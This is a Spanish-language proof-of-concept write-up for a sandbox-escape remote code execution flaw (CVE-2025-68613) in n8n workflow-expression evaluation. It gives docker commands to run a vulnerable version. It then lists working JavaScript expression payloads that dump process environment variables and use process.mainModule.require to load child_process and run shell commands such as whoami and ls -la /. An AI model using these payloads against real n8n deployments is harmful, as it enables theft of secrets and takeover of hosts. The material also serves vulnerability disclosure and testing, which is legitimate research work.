
PoC para CVE-2025-68613
Solo con Fines Educativos Esta Prueba de Concepto demuestra una vulnerabilidad crítica (CVE-2025-68613) en n8n. No la utilices en sistemas que no te pertenezcan o para los cuales no tengas permiso explícito de prueba.
Las versiones de n8n anteriores a la 1.122.0 contienen una vulnerabilidad de Ejecución Remota de Código (RCE). Los usuarios autenticados pueden eludir el sandbox de expresiones y ejecutar código arbitrario en el sistema host mediante payloads específicos de JavaScript en el editor de expresiones del flujo de trabajo.
Crea un volumen de datos y ejecuta una versión vulnerable de n8n (p. ej., v1.120.0).
# Crear volumen para persistencia
docker volume create n8n_data
# Ejecutar instancia vulnerable de n8n
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
Navega a http://localhost:5678 y completa la configuración inicial si es necesario.

Haz clic en "Add Workflow" para iniciar un flujo de trabajo en blanco.

Añade un nodo Set al flujo de trabajo. Este nodo nos permite definir valores que pueden evaluarse como expresiones.

En el nodo Set, modifica un parámetro (p. ej., value) y cambia el tipo de entrada a Expression.

Introduce los siguientes payloads en el editor de expresiones para demostrar la vulnerabilidad.
Este payload accede a this.process.env para filtrar variables de entorno sensibles del contenedor.
Payload:
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
Resultado:

Este payload evade el sandbox accediendo a process.mainModule.require para cargar el módulo child_process, lo que permite ejecutar comandos arbitrarios del sistema.
Payload:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

Resultado: Verifica el contexto de usuario del proceso en ejecución.
Demuestra la capacidad de explorar el sistema de archivos.
Payload:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
Resultado:
